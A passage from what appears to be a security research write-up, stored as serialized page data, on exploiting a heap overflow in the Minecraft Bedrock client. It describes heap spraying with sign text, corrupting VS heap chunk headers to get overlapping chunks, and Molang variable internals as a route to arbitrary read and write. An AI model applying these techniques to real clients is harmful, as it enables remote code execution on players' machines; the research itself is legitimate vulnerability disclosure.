",{"type":26,"tag":53,"props":151496,"children":151498},{"className":151497},[],[151499],{"type":32,"value":57840},{"type":32,"value":151501},", the operation now executes successfully, and the client happily allocates a chunk of that size:",{"type":26,"tag":35,"props":151503,"children":151504},{},[151505],{"type":26,"tag":132,"props":151506,"children":151508},{"alt":134,"src":151507},"/posts/minecraft-heap-overflow-to-rce/image7.png",[],{"type":26,"tag":18502,"props":151510,"children":151511},{},[],{"type":26,"tag":35,"props":151513,"children":151514},{},[151515],{"type":32,"value":151516},"Having a way to spray the heap is great - we can now use the previously mentioned technique to create overlapping chunks in the VS heap, or use it to shape the LFH so that the 4-byte overflow can overwrite an internal Minecraft structure.",{"type":26,"tag":35,"props":151518,"children":151519},{},[151520],{"type":32,"value":151521},"At the time, we couldn't find any useful Minecraft structures to abuse with just a 4-byte OOB write, so we worked on getting overlapping chunks instead.",{"type":26,"tag":41,"props":151523,"children":151525},{"id":151524},"overlapping-heap-chunks",[151526],{"type":32,"value":151527},"Overlapping Heap Chunks",{"type":26,"tag":35,"props":151529,"children":151530},{},[151531,151533,151538],{"type":32,"value":151532},"The attack is described in detail in the referenced blog post (",{"type":26,"tag":116,"props":151534,"children":151536},{"href":149341,"rel":151535},[120],[151537],{"type":32,"value":47278},{"type":32,"value":151539},"), so we will present a high-level overview.",{"type":26,"tag":35,"props":151541,"children":151542},{},[151543,151545,151551],{"type":32,"value":151544},"The core idea is to insert a large chunk that overlaps other chunks above it into the free list. To understand this, some basic knowledge of ",{"type":26,"tag":53,"props":151546,"children":151548},{"className":151547},[],[151549],{"type":32,"value":151550},"_HEAP_VS_CHUNK_HEADER",{"type":32,"value":151552}," structure layout is required:",{"type":26,"tag":465,"props":151554,"children":151556},{"code":151555}," +---------------------------+ +---------------+\n+0x0 |_HEAP_VS_CHUNK_HEADER_SIZE +----> +0x0 |MemoryCost |\n +---------------------------+ +---------------+\n+0x8 |EncodedSegmentPageOffset | +0x2 |UnsafeSize |\n +---------------------------+ +---------------+\n+0x8 |UnusedBytes | +0x4 |UnsafePrevSize |\n +---------------------------+ +---------------+\n | . . . | +0x6 |Allocated |\n +---------------+\n | . . . |\n",[151557],{"type":26,"tag":53,"props":151558,"children":151559},{"__ignoreMap":7},[151560],{"type":32,"value":151555},{"type":26,"tag":35,"props":151562,"children":151563},{},[151564,151566,151572,151574,151580,151581,151587,151588,151594,151596,151601,151603,151608,151610,151616,151618,151623,151625,151631],{"type":32,"value":151565},"At offset 0 there is a header ",{"type":26,"tag":53,"props":151567,"children":151569},{"className":151568},[],[151570],{"type":32,"value":151571},"_HEAP_VS_CHUNK_HEADER_SIZE",{"type":32,"value":151573}," containing fields such as ",{"type":26,"tag":53,"props":151575,"children":151577},{"className":151576},[],[151578],{"type":32,"value":151579},"MemoryCost",{"type":32,"value":637},{"type":26,"tag":53,"props":151582,"children":151584},{"className":151583},[],[151585],{"type":32,"value":151586},"UnsafeSize",{"type":32,"value":637},{"type":26,"tag":53,"props":151589,"children":151591},{"className":151590},[],[151592],{"type":32,"value":151593},"UnsafePrevSize",{"type":32,"value":151595},", etc. For the attack we only care about the ",{"type":26,"tag":53,"props":151597,"children":151599},{"className":151598},[],[151600],{"type":32,"value":151586},{"type":32,"value":151602}," field: it holds the size of the chunk as its value. Specifically the value is size divided by ",{"type":26,"tag":53,"props":151604,"children":151606},{"className":151605},[],[151607],{"type":32,"value":125869},{"type":32,"value":151609},", so for a chunk of size ",{"type":26,"tag":53,"props":151611,"children":151613},{"className":151612},[],[151614],{"type":32,"value":151615},"0x4010",{"type":32,"value":151617}," the value of ",{"type":26,"tag":53,"props":151619,"children":151621},{"className":151620},[],[151622],{"type":32,"value":151586},{"type":32,"value":151624}," would be ",{"type":26,"tag":53,"props":151626,"children":151628},{"className":151627},[],[151629],{"type":32,"value":151630},"0x401",{"type":32,"value":353},{"type":26,"tag":35,"props":151633,"children":151634},{},[151635,151636,151641],{"type":32,"value":63909},{"type":26,"tag":53,"props":151637,"children":151639},{"className":151638},[],[151640],{"type":32,"value":151586},{"type":32,"value":151642}," field is a 2-byte field located at offset 0x2 relative to the header. Because of that, it can be fully overwritten by the final two bytes of the 4-byte OOB write.",{"type":26,"tag":35,"props":151644,"children":151645},{},[151646,151648,151653,151655,151660,151662,151668,151670,151675],{"type":32,"value":151647},"The field is encoded with a random key that we do not know, so the exact bytes which we overwrite it with don't matter and the size after will be random. That said, by overwriting ",{"type":26,"tag":53,"props":151649,"children":151651},{"className":151650},[],[151652],{"type":32,"value":151586},{"type":32,"value":151654}," in the smallest possible VS chunk (",{"type":26,"tag":53,"props":151656,"children":151658},{"className":151657},[],[151659],{"type":32,"value":151615},{"type":32,"value":151661},"), we maximize the probability that the decoded size becomes larger than the original. Since the decoded size will be anywhere in ",{"type":26,"tag":53,"props":151663,"children":151665},{"className":151664},[],[151666],{"type":32,"value":151667},"[0x10, 0xffff0]",{"type":32,"value":151669}," range, the probability that it exceeds ",{"type":26,"tag":53,"props":151671,"children":151673},{"className":151672},[],[151674],{"type":32,"value":151615},{"type":32,"value":151676}," is:",{"type":26,"tag":465,"props":151678,"children":151680},{"code":151679},"1 - ((0x4010 - 0x10) / (0xffff0 - 0x10)) ~= 98.4%\n",[151681],{"type":26,"tag":53,"props":151682,"children":151683},{"__ignoreMap":7},[151684],{"type":32,"value":151679},{"type":26,"tag":35,"props":151686,"children":151687},{},[151688],{"type":32,"value":151689},"Thus, there is roughly a 98% chance that the resulting decoded size will be larger than the original chunk size.",{"type":26,"tag":35,"props":151691,"children":151692},{},[151693],{"type":32,"value":151694},"Considering there are slight differences between the kernel and userland heap, and that maximizing the success rate of the attack doesn't matter as much for purposes of this writeup, we will do a simplified attack to the one in the referenced blogpost.",{"type":26,"tag":70,"props":151696,"children":151698},{"id":151697},"overlap-attack-overview",[151699],{"type":32,"value":151700},"Overlap Attack Overview",{"type":26,"tag":35,"props":151702,"children":151703},{},[151704,151706,151711],{"type":32,"value":151705},"The goal of the attack is to overwrite the first four bytes of the VS chunk header that we control - in this case the allocation that holds sign text. We then call ",{"type":26,"tag":53,"props":151707,"children":151709},{"className":151708},[],[151710],{"type":32,"value":125892},{"type":32,"value":151712}," on the overwritten chunk so it is inserted into the free list as an overly large chunk, which we can use to create overlaps.",{"type":26,"tag":35,"props":151714,"children":151715},{},[151716,151718,151723,151725,151730],{"type":32,"value":151717},"We don't know the remote client's exact heap layout, but it likely contains ",{"type":26,"tag":53,"props":151719,"children":151721},{"className":151720},[],[151722],{"type":32,"value":147600},{"type":32,"value":151724},"-sized chunks in the free list that we want to avoid. If a ",{"type":26,"tag":53,"props":151726,"children":151728},{"className":151727},[],[151729],{"type":32,"value":147600},{"type":32,"value":151731},"-sized free chunk is used, the 4-byte OOB write could clobber some unknown chunk above it that we don’t control.",{"type":26,"tag":35,"props":151733,"children":151734},{},[151735,151737,151742],{"type":32,"value":151736},"To remove those ",{"type":26,"tag":53,"props":151738,"children":151740},{"className":151739},[],[151741],{"type":32,"value":147600},{"type":32,"value":151743},"-sized chunks from the free list we allocate many signs of that size. The allocator will first reuse free-list entries and then create new regions when the free list is exhausted.",{"type":26,"tag":35,"props":151745,"children":151746},{},[151747],{"type":32,"value":151748},"After draining the free list, we spray the VS heap with many more chunks of the same size. If the free list has been emptied, most of these allocations will be contiguous, producing many adjacent sign allocations like:",{"type":26,"tag":465,"props":151750,"children":151752},{"code":151751},"+--------+--------+--------+--------+--------+\n| | | | | |\n| Sign A | Sign B | Sign C | Sign D | Sign F |\n| | | | | |\n+--------+--------+--------+--------+--------+\n",[151753],{"type":26,"tag":53,"props":151754,"children":151755},{"__ignoreMap":7},[151756],{"type":32,"value":151751},{"type":26,"tag":35,"props":151758,"children":151759},{},[151760,151762,151767,151769,151774],{"type":32,"value":151761},"Next we create ",{"type":26,"tag":2615,"props":151763,"children":151764},{},[151765],{"type":32,"value":151766},"holes",{"type":32,"value":151768}," in the contiguous spray by freeing every other sign allocation. That inserts ",{"type":26,"tag":53,"props":151770,"children":151772},{"className":151771},[],[151773],{"type":32,"value":147600},{"type":32,"value":151775},"-sized free chunks where we want them - directly below allocated sign chunks:",{"type":26,"tag":465,"props":151777,"children":151779},{"code":151778}," Free Free \n+--------+--------+--------+--------+--------+\n| |........| |........| |\n| Sign A |........| Sign C |........| Sign F |\n| |........| |........| |\n+--------+--------+--------+--------+--------+\n",[151780],{"type":26,"tag":53,"props":151781,"children":151782},{"__ignoreMap":7},[151783],{"type":32,"value":151778},{"type":26,"tag":35,"props":151785,"children":151786},{},[151787,151789,151794,151796,151801],{"type":32,"value":151788},"When a ",{"type":26,"tag":53,"props":151790,"children":151792},{"className":151791},[],[151793],{"type":32,"value":147600},{"type":32,"value":151795}," allocation is later requested, the allocator will likely satisfy it from one of our inserted holes. As a result, the next adjacent allocated chunk’s ",{"type":26,"tag":53,"props":151797,"children":151799},{"className":151798},[],[151800],{"type":32,"value":151586},{"type":32,"value":151802}," field will be overwritten:",{"type":26,"tag":465,"props":151804,"children":151806},{"code":151805}," +--------+ \n Free | | \n+--------+--------+--------+ g->out +--------+\n| |........| | | |\n| Sign A |........| Sign C +--------+ Sign F |\n| |........| | | |\n+--------+--------+--------+ +--------+\n",[151807],{"type":26,"tag":53,"props":151808,"children":151809},{"__ignoreMap":7},[151810],{"type":32,"value":151805},{"type":26,"tag":35,"props":151812,"children":151813},{},[151814,151816,151821,151823,151828,151830,151835],{"type":32,"value":151815},"Once ",{"type":26,"tag":53,"props":151817,"children":151819},{"className":151818},[],[151820],{"type":32,"value":151586},{"type":32,"value":151822}," has been overwritten, ",{"type":26,"tag":53,"props":151824,"children":151826},{"className":151825},[],[151827],{"type":32,"value":147600},{"type":32,"value":151829}," allocation is freed immediately after, restoring the previous layout but with ",{"type":26,"tag":53,"props":151831,"children":151833},{"className":151832},[],[151834],{"type":32,"value":151586},{"type":32,"value":151836}," field corrupted:",{"type":26,"tag":465,"props":151838,"children":151840},{"code":151839}," UnsafeSize Overwritten\n ^ \n | \n Free Free | \n+--------+--------+--------+--------+---+----+ \n| |........| |........| | \n| Sign A |........| Sign C |........| Sign F | \n| |........| |........| | \n+--------+--------+--------+--------+--------+ \n",[151841],{"type":26,"tag":53,"props":151842,"children":151843},{"__ignoreMap":7},[151844],{"type":32,"value":151839},{"type":26,"tag":35,"props":151846,"children":151847},{},[151848],{"type":32,"value":151849},"To avoid adjacent-chunk consolidation in the next phase, we spray additional signs to fill the holes inside our contiguous region:",{"type":26,"tag":465,"props":151851,"children":151853},{"code":151852}," UnsafeSize Overwritten\n ^ \n | \n | \n+--------+--------+--------+--------+---+----+ \n| | | | | | \n| Sign A | Sign B | Sign C | Sign D | Sign F | \n| | | | | | \n+--------+--------+--------+--------+--------+ \n",[151854],{"type":26,"tag":53,"props":151855,"children":151856},{"__ignoreMap":7},[151857],{"type":32,"value":151852},{"type":26,"tag":35,"props":151859,"children":151860},{},[151861],{"type":32,"value":151862},"Finally, we free the rest of the contiguous spray. One of the freed allocations will have a corrupted (and likely overly large) size, giving us a much larger overflow:",{"type":26,"tag":465,"props":151864,"children":151866},{"code":151865}," Freed Overwritten \n | \n +----------+----------+\n | |\n Free Free v v\n+--------+--------+--------+--------+--------+- - - - - - -\n|........| |........| |........| \n|........| Sign B |........| Sign D |........| Other chunks\n|........| |........| |........| \n+--------+--------+--------+--------+--------+- - - - - - -\n",[151867],{"type":26,"tag":53,"props":151868,"children":151869},{"__ignoreMap":7},[151870],{"type":32,"value":151865},{"type":26,"tag":18502,"props":151872,"children":151873},{},[],{"type":26,"tag":35,"props":151875,"children":151876},{},[151877],{"type":32,"value":151878},"This yields a substantially larger overflow primitive than the original 4-byte OOB. However, without an information leak, ASLR is still a big issue and finding a single ideal structure was difficult.",{"type":26,"tag":35,"props":151880,"children":151881},{},[151882],{"type":32,"value":151883},"Instead of looking for simple structures, we shifted focus to more complex server-controlled scripting systems executed by the client - eventually finding Molang.",{"type":26,"tag":41,"props":151885,"children":151887},{"id":151886},"molang",[151888],{"type":32,"value":151889},"Molang",{"type":26,"tag":35,"props":151891,"children":151892},{},[151893,151895,151902],{"type":32,"value":151894},"Molang is a Minecraft-specific scripting language designed for simple math operations and a lightweight state model. It typically controls client-side entity animations and can be included in resource packs delivered by the server. A high-level overview is available in the official ",{"type":26,"tag":116,"props":151896,"children":151899},{"href":151897,"rel":151898},"https://learn.microsoft.com/en-us/minecraft/creator/documents/molang/syntax-guide?view=minecraft-bedrock-stable",[120],[151900],{"type":32,"value":151901},"syntax guide",{"type":32,"value":353},{"type":26,"tag":35,"props":151904,"children":151905},{},[151906,151908,151913,151914,151919],{"type":32,"value":151907},"The available base types are simple: numbers are 32-bit floats, and there is a string type for which only the ",{"type":26,"tag":53,"props":151909,"children":151911},{"className":151910},[],[151912],{"type":32,"value":8287},{"type":32,"value":209},{"type":26,"tag":53,"props":151915,"children":151917},{"className":151916},[],[151918],{"type":32,"value":15394},{"type":32,"value":151920}," operators are supported.",{"type":26,"tag":35,"props":151922,"children":151923},{},[151924,151926,151932,151934,151939,151941,151946,151947,151952,151953],{"type":32,"value":151925},"Variables are defined by prepending ",{"type":26,"tag":53,"props":151927,"children":151929},{"className":151928},[],[151930],{"type":32,"value":151931},"variable.",{"type":32,"value":151933}," to the name and assigning a value. For example, to define ",{"type":26,"tag":53,"props":151935,"children":151937},{"className":151936},[],[151938],{"type":32,"value":8793},{"type":32,"value":151940}," as the sum of ",{"type":26,"tag":53,"props":151942,"children":151944},{"className":151943},[],[151945],{"type":32,"value":116},{"type":32,"value":209},{"type":26,"tag":53,"props":151948,"children":151950},{"className":151949},[],[151951],{"type":32,"value":2930},{"type":32,"value":15037},{"type":26,"tag":53,"props":151954,"children":151956},{"className":151955},[],[151957],{"type":32,"value":151958},"variable.result = variable.a + variable.b;",{"type":26,"tag":35,"props":151960,"children":151961},{},[151962,151964,151969,151970,151975,151976,151981,151982,151987],{"type":32,"value":151963},"Logical operators such as ",{"type":26,"tag":53,"props":151965,"children":151967},{"className":151966},[],[151968],{"type":32,"value":22127},{"type":32,"value":637},{"type":26,"tag":53,"props":151971,"children":151973},{"className":151972},[],[151974],{"type":32,"value":72824},{"type":32,"value":637},{"type":26,"tag":53,"props":151977,"children":151979},{"className":151978},[],[151980],{"type":32,"value":5519},{"type":32,"value":637},{"type":26,"tag":53,"props":151983,"children":151985},{"className":151984},[],[151986],{"type":32,"value":10170},{"type":32,"value":151988},", etc., are supported, and conditional branching is implemented using ternary-style blocks:",{"type":26,"tag":465,"props":151990,"children":151992},{"code":151991},"(variable.result == 3) ? {\n return 1;\n} : {\n return 0;\n}\n",[151993],{"type":26,"tag":53,"props":151994,"children":151995},{"__ignoreMap":7},[151996],{"type":32,"value":151991},{"type":26,"tag":35,"props":151998,"children":151999},{},[152000],{"type":32,"value":152001},"As shown, Molang is very simple, but we hoped it would be sufficient as a second-stage payload to achieve client-side arbitrary read and write.",{"type":26,"tag":70,"props":152003,"children":152005},{"id":152004},"molang-internals",[152006],{"type":32,"value":152007},"Molang Internals",{"type":26,"tag":35,"props":152009,"children":152010},{},[152011],{"type":32,"value":152012},"What interested us most was how variables are handled. Specifically, we wondered whether we could use the overflow to corrupt a variable and then leverage that corrupted variable to perform arbitrary reads - leaking the information needed to bypass ASLR inside the Molang script, and subsequently use those leaks to carry out arbitrary writes.",{"type":26,"tag":35,"props":152014,"children":152015},{},[152016],{"type":32,"value":152017},"Below we describe the structures involved and their memory layout.",{"type":26,"tag":70,"props":152019,"children":152021},{"id":152020},"molangvariable-and-molangscriptarg",[152022],{"type":32,"value":152023},"MolangVariable and MolangScriptArg",{"type":26,"tag":35,"props":152025,"children":152026},{},[152027,152028,152034],{"type":32,"value":101783},{"type":26,"tag":53,"props":152029,"children":152031},{"className":152030},[],[152032],{"type":32,"value":152033},"MolangVariable",{"type":32,"value":152035}," structure is created for every declared variable. Simplified, it looks something like this:",{"type":26,"tag":465,"props":152037,"children":152039},{"code":152038,"language":2854,"meta":7,"className":16220,"style":7},"struct MolangVariable {\n \n struct HashedString {\n uint64_t variable_name_hash;\n std::string variable_name;\n };\n \n struct MolangScriptArg {\n uint32_t value_type;\n uint64_t value;\n std::vector\u003Cstruct MolangScriptArg> struct_fields;\n \n [...]\n };\n};\n",[152040],{"type":26,"tag":53,"props":152041,"children":152042},{"__ignoreMap":7},[152043,152055,152062,152074,152087,152095,152102,152109,152121,152134,152146,152176,152184,152191,152198],{"type":26,"tag":475,"props":152044,"children":152045},{"class":477,"line":478},[152046,152050],{"type":26,"tag":475,"props":152047,"children":152048},{"style":482},[152049],{"type":32,"value":9111},{"type":26,"tag":475,"props":152051,"children":152052},{"style":499},[152053],{"type":32,"value":152054}," MolangVariable {\n",{"type":26,"tag":475,"props":152056,"children":152057},{"class":477,"line":516},[152058],{"type":26,"tag":475,"props":152059,"children":152060},{"style":499},[152061],{"type":32,"value":61478},{"type":26,"tag":475,"props":152063,"children":152064},{"class":477,"line":539},[152065,152069],{"type":26,"tag":475,"props":152066,"children":152067},{"style":482},[152068],{"type":32,"value":5766},{"type":26,"tag":475,"props":152070,"children":152071},{"style":499},[152072],{"type":32,"value":152073}," HashedString {\n",{"type":26,"tag":475,"props":152075,"children":152076},{"class":477,"line":548},[152077,152082],{"type":26,"tag":475,"props":152078,"children":152079},{"style":482},[152080],{"type":32,"value":152081}," uint64_t",{"type":26,"tag":475,"props":152083,"children":152084},{"style":499},[152085],{"type":32,"value":152086}," variable_name_hash;\n",{"type":26,"tag":475,"props":152088,"children":152089},{"class":477,"line":558},[152090],{"type":26,"tag":475,"props":152091,"children":152092},{"style":499},[152093],{"type":32,"value":152094}," std::string variable_name;\n",{"type":26,"tag":475,"props":152096,"children":152097},{"class":477,"line":582},[152098],{"type":26,"tag":475,"props":152099,"children":152100},{"style":499},[152101],{"type":32,"value":1942},{"type":26,"tag":475,"props":152103,"children":152104},{"class":477,"line":596},[152105],{"type":26,"tag":475,"props":152106,"children":152107},{"style":499},[152108],{"type":32,"value":61478},{"type":26,"tag":475,"props":152110,"children":152111},{"class":477,"line":610},[152112,152116],{"type":26,"tag":475,"props":152113,"children":152114},{"style":482},[152115],{"type":32,"value":5766},{"type":26,"tag":475,"props":152117,"children":152118},{"style":499},[152119],{"type":32,"value":152120}," MolangScriptArg {\n",{"type":26,"tag":475,"props":152122,"children":152123},{"class":477,"line":650},[152124,152129],{"type":26,"tag":475,"props":152125,"children":152126},{"style":482},[152127],{"type":32,"value":152128}," uint32_t",{"type":26,"tag":475,"props":152130,"children":152131},{"style":499},[152132],{"type":32,"value":152133}," value_type;\n",{"type":26,"tag":475,"props":152135,"children":152136},{"class":477,"line":679},[152137,152141],{"type":26,"tag":475,"props":152138,"children":152139},{"style":482},[152140],{"type":32,"value":152081},{"type":26,"tag":475,"props":152142,"children":152143},{"style":499},[152144],{"type":32,"value":152145}," value;\n",{"type":26,"tag":475,"props":152147,"children":152148},{"class":477,"line":735},[152149,152154,152158,152162,152167,152171],{"type":26,"tag":475,"props":152150,"children":152151},{"style":499},[152152],{"type":32,"value":152153}," std::vector",{"type":26,"tag":475,"props":152155,"children":152156},{"style":714},[152157],{"type":32,"value":5519},{"type":26,"tag":475,"props":152159,"children":152160},{"style":482},[152161],{"type":32,"value":9111},{"type":26,"tag":475,"props":152163,"children":152164},{"style":499},[152165],{"type":32,"value":152166}," MolangScriptArg",{"type":26,"tag":475,"props":152168,"children":152169},{"style":714},[152170],{"type":32,"value":10170},{"type":26,"tag":475,"props":152172,"children":152173},{"style":499},[152174],{"type":32,"value":152175}," struct_fields;\n",{"type":26,"tag":475,"props":152177,"children":152178},{"class":477,"line":744},[152179],{"type":26,"tag":475,"props":152180,"children":152181},{"style":499},[152182],{"type":32,"value":152183}," \n",{"type":26,"tag":475,"props":152185,"children":152186},{"class":477,"line":753},[152187],{"type":26,"tag":475,"props":152188,"children":152189},{"style":499},[152190],{"type":32,"value":123471},{"type":26,"tag":475,"props":152192,"children":152193},{"class":477,"line":761},[152194],{"type":26,"tag":475,"props":152195,"children":152196},{"style":499},[152197],{"type":32,"value":1942},{"type":26,"tag":475,"props":152199,"children":152200},{"class":477,"line":770},[152201],{"type":26,"tag":475,"props":152202,"children":152203},{"style":499},[152204],{"type":32,"value":16283},{"type":26,"tag":35,"props":152206,"children":152207},{},[152208,152210,152215],{"type":32,"value":152209},"In memory a ",{"type":26,"tag":53,"props":152211,"children":152213},{"className":152212},[],[152214],{"type":32,"value":152033},{"type":32,"value":152216}," instance resembles:",{"type":26,"tag":465,"props":152218,"children":152220},{"code":152219}," +---------------+---------------+\n+0x00 | FNV-1 hash |std::string.buf|\n +---------------+---------------+\n+0x10 |std::string.buf|std::string.len|\n +---------------+---------------+\n+0x20 |std::string.cap| Unknown |\n +-------+-------+---------------+\n+0x30 | Type |Unused |Variable value |\n +-------+-------+---------------+\n+0x40 |std::vector.buf|std::vector.len|\n +---------------+---------------+\n+0x50 |std::vector.cap| Unknown |\n +---------------+---------------+\n | . . . | . . . |\n",[152221],{"type":26,"tag":53,"props":152222,"children":152223},{"__ignoreMap":7},[152224],{"type":32,"value":152219},{"type":26,"tag":35,"props":152226,"children":152227},{},[152228],{"type":32,"value":152229},"For reference, example debugger view of the layout:",{"type":26,"tag":35,"props":152231,"children":152232},{},[152233],{"type":26,"tag":132,"props":152234,"children":152236},{"alt":134,"src":152235},"/posts/minecraft-heap-overflow-to-rce/image8.png",[],{"type":26,"tag":35,"props":152238,"children":152239},{},[152240],{"type":32,"value":152241},"The full structure is larger and contains more fields than shown, but many are irrelevant to the exploit.",{"type":26,"tag":35,"props":152243,"children":152244},{},[152245,152247,152253,152255,152260,152262,152268,152270,152275,152276,152281,152283,152288,152289,152295,152296,152302],{"type":32,"value":152246},"We only care about the ",{"type":26,"tag":53,"props":152248,"children":152250},{"className":152249},[],[152251],{"type":32,"value":152252},"MolangScriptArg",{"type":32,"value":152254}," beginning at offset ",{"type":26,"tag":53,"props":152256,"children":152258},{"className":152257},[],[152259],{"type":32,"value":128350},{"type":32,"value":152261}," because it contains variable values. In the screenshot above, the ",{"type":26,"tag":53,"props":152263,"children":152265},{"className":152264},[],[152266],{"type":32,"value":152267},"value_type",{"type":32,"value":152269}," at ",{"type":26,"tag":53,"props":152271,"children":152273},{"className":152272},[],[152274],{"type":32,"value":128350},{"type":32,"value":5213},{"type":26,"tag":53,"props":152277,"children":152279},{"className":152278},[],[152280],{"type":32,"value":3732},{"type":32,"value":152282}," (meaning float), and the ",{"type":26,"tag":53,"props":152284,"children":152286},{"className":152285},[],[152287],{"type":32,"value":38844},{"type":32,"value":152269},{"type":26,"tag":53,"props":152290,"children":152292},{"className":152291},[],[152293],{"type":32,"value":152294},"0x38",{"type":32,"value":5213},{"type":26,"tag":53,"props":152297,"children":152299},{"className":152298},[],[152300],{"type":32,"value":152301},"0xbf2070c8",{"type":32,"value":353},{"type":26,"tag":35,"props":152304,"children":152305},{},[152306,152308,152314,152316,152321,152323,152328,152329,152334,152336,152341,152343,152348],{"type":32,"value":152307},"During assignment, such as ",{"type":26,"tag":53,"props":152309,"children":152311},{"className":152310},[],[152312],{"type":32,"value":152313},"variable.a = variable.b",{"type":32,"value":152315},", each field of ",{"type":26,"tag":53,"props":152317,"children":152319},{"className":152318},[],[152320],{"type":32,"value":152252},{"type":32,"value":152322}," is copied from variable ",{"type":26,"tag":53,"props":152324,"children":152326},{"className":152325},[],[152327],{"type":32,"value":2930},{"type":32,"value":56468},{"type":26,"tag":53,"props":152330,"children":152332},{"className":152331},[],[152333],{"type":32,"value":116},{"type":32,"value":152335},". Interestingly, the ",{"type":26,"tag":53,"props":152337,"children":152339},{"className":152338},[],[152340],{"type":32,"value":38844},{"type":32,"value":152342}," field is always copied as a ",{"type":26,"tag":53,"props":152344,"children":152346},{"className":152345},[],[152347],{"type":32,"value":55326},{"type":32,"value":152349}," even if the type is a 32-bit float.",{"type":26,"tag":35,"props":152351,"children":152352},{},[152353,152355,152361],{"type":32,"value":152354},"Each entity stores its variables in a per-entity vector called ",{"type":26,"tag":53,"props":152356,"children":152358},{"className":152357},[],[152359],{"type":32,"value":152360},"MolangVariableMap",{"type":32,"value":353},{"type":26,"tag":70,"props":152363,"children":152365},{"id":152364},"molangvariablemap",[152366],{"type":32,"value":152360},{"type":26,"tag":35,"props":152368,"children":152369},{},[152370,152375,152377,152383,152385,152391],{"type":26,"tag":53,"props":152371,"children":152373},{"className":152372},[],[152374],{"type":32,"value":152360},{"type":32,"value":152376}," is simply a ",{"type":26,"tag":53,"props":152378,"children":152380},{"className":152379},[],[152381],{"type":32,"value":152382},"std::vector\u003CMolangVariable *>",{"type":32,"value":152384}," contained per entity. To reason about its memory we need to recall MSVC ",{"type":26,"tag":53,"props":152386,"children":152388},{"className":152387},[],[152389],{"type":32,"value":152390},"std::vector",{"type":32,"value":152392}," layout:",{"type":26,"tag":465,"props":152394,"children":152396},{"code":152395,"language":2854,"meta":7,"className":16220,"style":7},"struct vector {\n void *buf;\n void *len;\n void *cap;\n};\n",[152397],{"type":26,"tag":53,"props":152398,"children":152399},{"__ignoreMap":7},[152400,152412,152428,152444,152460],{"type":26,"tag":475,"props":152401,"children":152402},{"class":477,"line":478},[152403,152407],{"type":26,"tag":475,"props":152404,"children":152405},{"style":482},[152406],{"type":32,"value":9111},{"type":26,"tag":475,"props":152408,"children":152409},{"style":499},[152410],{"type":32,"value":152411}," vector {\n",{"type":26,"tag":475,"props":152413,"children":152414},{"class":477,"line":516},[152415,152419,152423],{"type":26,"tag":475,"props":152416,"children":152417},{"style":482},[152418],{"type":32,"value":16253},{"type":26,"tag":475,"props":152420,"children":152421},{"style":714},[152422],{"type":32,"value":9525},{"type":26,"tag":475,"props":152424,"children":152425},{"style":499},[152426],{"type":32,"value":152427},"buf;\n",{"type":26,"tag":475,"props":152429,"children":152430},{"class":477,"line":539},[152431,152435,152439],{"type":26,"tag":475,"props":152432,"children":152433},{"style":482},[152434],{"type":32,"value":16253},{"type":26,"tag":475,"props":152436,"children":152437},{"style":714},[152438],{"type":32,"value":9525},{"type":26,"tag":475,"props":152440,"children":152441},{"style":499},[152442],{"type":32,"value":152443},"len;\n",{"type":26,"tag":475,"props":152445,"children":152446},{"class":477,"line":548},[152447,152451,152455],{"type":26,"tag":475,"props":152448,"children":152449},{"style":482},[152450],{"type":32,"value":16253},{"type":26,"tag":475,"props":152452,"children":152453},{"style":714},[152454],{"type":32,"value":9525},{"type":26,"tag":475,"props":152456,"children":152457},{"style":499},[152458],{"type":32,"value":152459},"cap;\n",{"type":26,"tag":475,"props":152461,"children":152462},{"class":477,"line":558},[152463],{"type":26,"tag":475,"props":152464,"children":152465},{"style":499},[152466],{"type":32,"value":16283},{"type":26,"tag":35,"props":152468,"children":152469},{},[152470,152475,152477,152482,152484,152490,152492,152497,152498,152503],{"type":26,"tag":53,"props":152471,"children":152473},{"className":152472},[],[152474],{"type":32,"value":149556},{"type":32,"value":152476}," points to the allocated array of elements, ",{"type":26,"tag":53,"props":152478,"children":152480},{"className":152479},[],[152481],{"type":32,"value":8849},{"type":32,"value":152483}," points just past the last used element, and ",{"type":26,"tag":53,"props":152485,"children":152487},{"className":152486},[],[152488],{"type":32,"value":152489},"cap",{"type":32,"value":152491}," points to the end of the allocated buffer. Notably, the types of ",{"type":26,"tag":53,"props":152493,"children":152495},{"className":152494},[],[152496],{"type":32,"value":8849},{"type":32,"value":209},{"type":26,"tag":53,"props":152499,"children":152501},{"className":152500},[],[152502],{"type":32,"value":152489},{"type":32,"value":152504}," aren't typical integer types for sizes, but both are pointers.",{"type":26,"tag":35,"props":152506,"children":152507},{},[152508],{"type":32,"value":152509},"Example layout for a vector holding three variable pointers plus one unused slot:",{"type":26,"tag":465,"props":152511,"children":152513},{"code":152512},"+---------+ +--------------------+\n| buf +-------> | MolangVariable A* |\n+---------+ +--------------------+\n| len +----+ | MolangVariable B* |\n+---------+ | +--------------------+\n| cap | | | MolangVariable C* |\n+----+----+ | +--------------------+\n | +--> | Empty element slot |\n | +--------------------+\n | ^\n +-----------------------------------+\n",[152514],{"type":26,"tag":53,"props":152515,"children":152516},{"__ignoreMap":7},[152517],{"type":32,"value":152512},{"type":26,"tag":35,"props":152519,"children":152520},{},[152521,152523,152529,152531,152537],{"type":32,"value":152522},"Because each entity can create and initialize variables independently, the indices of specific variables (e.g., ",{"type":26,"tag":53,"props":152524,"children":152526},{"className":152525},[],[152527],{"type":32,"value":152528},"variable.result",{"type":32,"value":152530},") may differ between entities. To get around this, ",{"type":26,"tag":53,"props":152532,"children":152534},{"className":152533},[],[152535],{"type":32,"value":152536},"MolangIndexMap",{"type":32,"value":152538}," is used to map a global variable name to the correct per-entity slot.",{"type":26,"tag":70,"props":152540,"children":152542},{"id":152541},"molangindexmap",[152543],{"type":32,"value":152536},{"type":26,"tag":35,"props":152545,"children":152546},{},[152547,152552,152554,152560,152562,152568],{"type":26,"tag":53,"props":152548,"children":152550},{"className":152549},[],[152551],{"type":32,"value":152536},{"type":32,"value":152553}," is a per-entity ",{"type":26,"tag":53,"props":152555,"children":152557},{"className":152556},[],[152558],{"type":32,"value":152559},"std::vector\u003Cuint16_t>",{"type":32,"value":152561},". The engine maintains a global hashmap that maps variable names to a global index. When the client encounters a statement like ",{"type":26,"tag":53,"props":152563,"children":152565},{"className":152564},[],[152566],{"type":32,"value":152567},"variable.result = 0",{"type":32,"value":152569}," it:",{"type":26,"tag":181,"props":152571,"children":152572},{},[152573,152583,152593],{"type":26,"tag":86,"props":152574,"children":152575},{},[152576,152578],{"type":32,"value":152577},"Checks the global hashmap for 